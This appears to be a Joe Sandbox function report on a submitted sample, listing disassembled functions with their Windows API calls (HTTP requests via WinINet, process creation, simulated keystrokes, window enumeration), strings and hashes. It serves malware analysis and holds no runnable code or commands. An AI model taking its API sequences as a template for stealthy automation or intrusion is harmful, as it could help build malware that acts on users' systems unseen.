AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00490268,?,00000001), ref: 004912BC

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: f26f4bb74aff20e17c76938d77deec674e2b65ea5725904edaeafac74ea74a25
Instruction ID: 288735228fb895b79849deea66e5dbc27b68c586cb814d12168486b2b47a87d8
Opcode Fuzzy Hash: f26f4bb74aff20e17c76938d77deec674e2b65ea5725904edaeafac74ea74a25
Instruction Fuzzy Hash: 8F31BD75640205BFEF10AF54ED88FBA3BA9AB55311F114276FE04EA2B0D7789D40CB68

Function 0043FA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 0043FAA6
OleUninitialize.OLE32(?,00000000), ref: 0043FB45
UnregisterHotKey.USER32(?), ref: 0043FC9C
DestroyWindow.USER32(?), ref: 004745D6
FreeLibrary.KERNEL32(?), ref: 0047463B
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00474668

Strings

close all, xrefs: 0043FAA1

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 8f2e389714c719354cbde0466c87489461989a47a496be925347cfd7fe0f3941
Instruction ID: c93e8c73a206935f06161e1c9a4929b622329a824bd30310f2c7086d353670ad
Opcode Fuzzy Hash: 8f2e389714c719354cbde0466c87489461989a47a496be925347cfd7fe0f3941
Instruction Fuzzy Hash: 14A18070701112CFDB18EF15C594A7AF364BF49704F1192AEE80AAB261DB38ED1ACF59

Function 004A9113 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004A9167
VariantInit.OLEAUT32(?), ref: 004A9238
VariantInit.OLEAUT32(?), ref: 004A9339
VariantClear.OLEAUT32(?), ref: 004A9343
VariantClear.OLEAUT32(?), ref: 004A93A0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 004A931C
,,L, xrefs: 004A91E5
Null Object assignment in FOR..IN loop, xrefs: 004A91C8, 004A92F6, 004A93AE

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: ,,L$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-3251461710
Opcode ID: 6ee0c73383393aeab755e5acadad39ea336efe49992dc851f5eb1ca2740f428e
Instruction ID: 106afd92ef3d149491c11ccb718888e7db28ee803ef80a3478a06f0c0ca9b491
Opcode Fuzzy Hash: 6ee0c73383393aeab755e5acadad39ea336efe49992dc851f5eb1ca2740f428e
Instruction Fuzzy Hash: 8A91A171A00205ABDF24CFA5C848FAFB7B8EF5A714F10855EF915AB280D7789D05CBA4

Function 0048A068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,0048A439), ref: 0048A377

Strings

REGEXPCLASS, xrefs: 0048A13C
CLASS, xrefs: 0048A0F6
CLASSNN, xrefs: 0048A119
INSTANCE, xrefs: 0048A285
TEXT, xrefs: 0048A2AE
NAME, xrefs: 0048A1A9

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 8ccf5cafc2f840ab9908447d017fa54ed45404d8816d7c47ad5801311b8957c0
Instruction ID: f8cce6f26d0bb519663e957aada4590ad38596c3731b2e06af98dff9f7bd8672
Opcode Fuzzy Hash: 8ccf5cafc2f840ab9908447d017fa54ed45404d8816d7c47ad5801311b8957c0
Instruction Fuzzy Hash: 8591E971500605ABEB18EF61C441BEEFB74BF04314F54891FD849A3242DF7869A9CB99

Function 00432E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00432EAE

Part of subcall function 00431DB3: GetClientRect.USER32(?,?), ref: 00431DDC
Part of subcall function 00431DB3: GetWindowRect.USER32(?,?), ref: 00431E1D
Part of subcall function 00431DB3: ScreenToClient.USER32(?,?), ref: 00431E45

GetDC.USER32 ref: 0046CD32
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0046CD45
SelectObject.GDI32(00000000,00000000), ref: 0046CD53
SelectObject.GDI32(00000000,00000000), ref: 0046CD68
ReleaseDC.USER32(?,00000000), ref: 0046CD70
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0046CDFB

Strings

U, xrefs: 0046CCD0

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: f6829eb8c28ca72618bea72cdb5cb8397331e3606eb5845ab79b87593d1c0726
Instruction ID: 555ef83e4edde3aa1e754d4e2cb4d8139add9b163542c6583f12ad6c90dc786d
Opcode Fuzzy Hash: f6829eb8c28ca72618bea72cdb5cb8397331e3606eb5845ab79b87593d1c0726
Instruction Fuzzy Hash: 0E71EF31400205DFCF219F64C8C5ABB3BB5FF48324F14427BED995A2A6E7398851DB6A

Function 004A1A15 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 004A1A50
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 004A1A7C
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 004A1ABE
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 004A1AD3
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004A1AE0
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 004A1B10
InternetCloseHandle.WININET(00000000), ref: 004A1B57

Part of subcall function 004A2483: GetLastError.KERNEL32(?,?,004A1817,00000000,00000000,00000001), ref: 004A2498
Part of subcall function 004A2483: SetEvent.KERNEL32(?,?,004A1817,00000000,00000000,00000001), ref: 004A24AD

Strings

, xrefs: 004A1B01

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: 92ce41c535786ec1a08d87e8eb28ecb62585c6c4356754594061dba782b75099
Instruction ID: e42324f03541d63cbb0ed2c060d53475139cf23b05308f4137e33f0e0e8be66b
Opcode Fuzzy Hash: 92ce41c535786ec1a08d87e8eb28ecb62585c6c4356754594061dba782b75099
Instruction Fuzzy Hash: D341A4B1501218BFEB118F50CC85FFB77ACEF19354F00816BFA059A251EB789E449BA8

Function 004A8C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,004BF910), ref: 004A8D28
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,004BF910), ref: 004A8D5C
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 004A8ED6
SysFreeString.OLEAUT32(?), ref: 004A8F00

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: 1c2705a7eec5de43eae12b3c4f64fef2b7b4bd3452a65c7a9fe7f4143691fd87
Instruction ID: fbfa2eeb4cb250c0c30d3eb7055538ae77231c6102b3fa0ba83ad12c383b5abf
Opcode Fuzzy Hash: 1c2705a7eec5de43eae12b3c4f64fef2b7b4bd3452a65c7a9fe7f4143691fd87
Instruction Fuzzy Hash: 4FF15A71A00209EFCF04DF94C884EAEB7B9FF5A314F108599F905AB251DB35AE46CB94

Function 004AF694 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004AF6B5
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 004AF848
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 004AF86C
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 004AF8AC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 004AF8CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 004AFA4A
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 004AFA7C
CloseHandle.KERNEL32(?), ref: 004AFAAB
CloseHandle.KERNEL32(?), ref: 004AFB22

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: a8ee5c9779088f5327ef10dfc8b0568bb1123d8ef05f151af40200e508008dbe
Instruction ID: 01d4baad24bbea758a9f71c3ae030d7396091823cca758af5ae69e62a6485848
Opcode Fuzzy Hash: a8ee5c9779088f5327ef10dfc8b0568bb1123d8ef05f151af40200e508008dbe
Instruction Fuzzy Hash: F1E1A2752042009FD714EF65C881B6BBBE0AF89314F14856EF8855B3A2CB78EC49CB5A

Function 00494CC1 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0049466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00493697,?), ref: 0049468B

Part of subcall function 0049466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00493697,?), ref: 004946A4

Part of subcall function 00494A31: GetFileAttributesW.KERNEL32(?,0049370B), ref: 00494A32

lstrcmpiW.KERNEL32(?,?), ref: 00494D40
_wcscmp.LIBCMT ref: 00494D5A
MoveFileW.KERNEL32(?,?), ref: 00494D75

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 40ec60c5d89172179c62baa0c73c859f6f1a93c6e0397d0343d72f7dcc1fdf7b
Instruction ID: 02f4b0af33c01b52723d1ef9ff725578b879ec4b80fe1c052499206262613e50
Opcode Fuzzy Hash: 40ec60c5d89172179c62baa0c73c859f6f1a93c6e0397d0343d72f7dcc1fdf7b
Instruction Fuzzy Hash: 495150B20083459BCB24DB61D881DDBB7ECAF85355F00092FF589D3152EE78A589C76A

Function 004B8645 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 004B86FF

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 8a16698c692735742b1c8c9b758ee880beddefec07d1c125135f009e86fb6069
Instruction ID: 93cb306449ab088017a50df16e533b347f8aa1721a09fd89d536a40a10beafca
Opcode Fuzzy Hash: 8a16698c692735742b1c8c9b758ee880beddefec07d1c125135f009e86fb6069
Instruction Fuzzy Hash: 8D518230500244BFDB249F29DC85FEA7B68EB05358F60422FF914D62E1CF79A990DB69

Function 00432B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0046C2F7
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0046C319
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0046C331
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0046C34F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0046C370
DestroyIcon.USER32(00000000), ref: 0046C37F
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0046C39C
DestroyIcon.USER32(?), ref: 0046C3AB

Part of subcall function 004BA4AF: DeleteObject.GDI32(00000000), ref: 004BA4E8

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: f5e096d241a22e8b84854543e9f1abd9eff4e2f384717b6aa85fe3b243109252
Instruction ID: b845682ba52cbe2099b7f6e413486821a9c1f2fbf9ba10ec2f20347672cc22a1
Opcode Fuzzy Hash: f5e096d241a22e8b84854543e9f1abd9eff4e2f384717b6aa85fe3b243109252
Instruction Fuzzy Hash: 48519C70A00205EFDB20DF25CD85FAB7BA5EB18310F10452AF94697390D7B8EC91DB59

Function 0048966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 0048A84C
Part of subcall function 0048A82C: GetCurrentThreadId.KERNEL32 ref: 0048A853
Part of subcall function 0048A82C: AttachThreadInput.USER32(00000000,?,00489683,?,00000001), ref: 0048A85A

MapVirtualKeyW.USER32(00000025,00000000), ref: 0048968E
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 004896AB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 004896AE
MapVirtualKeyW.USER32(00000025,00000000), ref: 004896B7
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 004896D5
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 004896D8
MapVirtualKeyW.USER32(00000025,00000000), ref: 004896E1
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 004896F8
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 004896FB

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: ea579811601a08eb02af81d8b853cb6caa0f1d50f955ab595c168d898536cf9c
Instruction ID: 0ed2981d426ffc75dc19283de442eeac2d3d9667537285bd3921accce6904708
Opcode Fuzzy Hash: ea579811601a08eb02af81d8b853cb6caa0f1d50f955ab595c168d898536cf9c
Instruction Fuzzy Hash: 6511C2B1910618BFF6106B659C49F6A3B1DDB4C754F10092AF648AB0A0C9F25C119BA8

Function 00488921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,0048853C,00000B00,?,?), ref: 0048892A
HeapAlloc.KERNEL32(00000000,?,0048853C,00000B00,?,?), ref: 00488931
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,0048853C,00000B00,?,?), ref: 00488946
GetCurrentProcess.KERNEL32(?,00000000,?,0048853C,00000B00,?,?), ref: 0048894E
DuplicateHandle.KERNEL32(00000000,?,0048853C,00000B00,?,?), ref: 00488951
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,0048853C,00000B00,?,?), ref: 00488961
GetCurrentProcess.KERNEL32(0048853C,00000000,?,0048853C,00000B00,?,?), ref: 00488969
DuplicateHandle.KERNEL32(00000000,?,0048853C,00000B00,?,?), ref: 0048896C
CreateThread.KERNEL32(00000000,00000000,00488992,00000000,00000000,00000000), ref: 00488986

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 4d66477f17e594320993fccf4dfa755b4584192414850e6bca2a21dc87f95c5f
Instruction ID: f8cf94899d591fe34c34746603da95fcba04ee3c0558e8072e66a841b771b602
Opcode Fuzzy Hash: 4d66477f17e594320993fccf4dfa755b4584192414850e6bca2a21dc87f95c5f
Instruction Fuzzy Hash: 0A01ACB5240304FFE610AFA9DC49F6B7B6CEB89711F404521FA09DB191CA759C048B24

Function 004A9B23 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 004A9BA4, 004A9EC8
Not an Object type, xrefs: 004A9B7B

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 7356d241f7c03c62f25fa3993955500d39a4040147a1c2129b134ec35d577ded
Instruction ID: cf52fef17ad47969d7683f12426bcdde0a88c1d0e8c473e1b839cb3bc3bf119e
Opcode Fuzzy Hash: 7356d241f7c03c62f25fa3993955500d39a4040147a1c2129b134ec35d577ded
Instruction Fuzzy Hash: 05C1C371A00209ABDF10DF58C884BAFB7F5FB59314F14842EE905AB381E778AD45CB94

Function 004A975D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 0048710A: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00487044,80070057,?,?,?,00487455), ref: 00487127
Part of subcall function 0048710A: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00487044,80070057,?,?), ref: 00487142
Part of subcall function 0048710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00487044,80070057,?,?), ref: 00487150
Part of subcall function 0048710A: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00487044,80070057,?), ref: 00487160

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 004A9806
_memset.LIBCMT ref: 004A9813
_memset.LIBCMT ref: 004A9956
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 004A9982
CoTaskMemFree.OLE32(?), ref: 004A998D

Strings

NULL Pointer assignment, xrefs: 004A99DB

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: be2e5b9d3b1d818faae8ab34106d2cc2f1c744999fd7afd2df8918af681e6b5e
Instruction ID: 30b1907e46d5e7f13fb236ecb18ba762f2e03b957c29e9abc2e808a20a4f83c1
Opcode Fuzzy Hash: be2e5b9d3b1d818faae8ab34106d2cc2f1c744999fd7afd2df8918af681e6b5e
Instruction Fuzzy Hash: F4913971D00229EBDB10DFA5DC81EDEBBB9AF09314F20416AF419A7281DB759A44CFA4

Function 004B6D80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 004B6E24
SendMessageW.USER32(?,00001036,00000000,?), ref: 004B6E38
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 004B6E52
_wcscat.LIBCMT ref: 004B6EAD
SendMessageW.USER32(?,00001057,00000000,?), ref: 004B6EC4
SendMessageW.USER32(?,00001061,?,0000000F), ref: 004B6EF2

Strings

SysListView32, xrefs: 004B6DF6

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

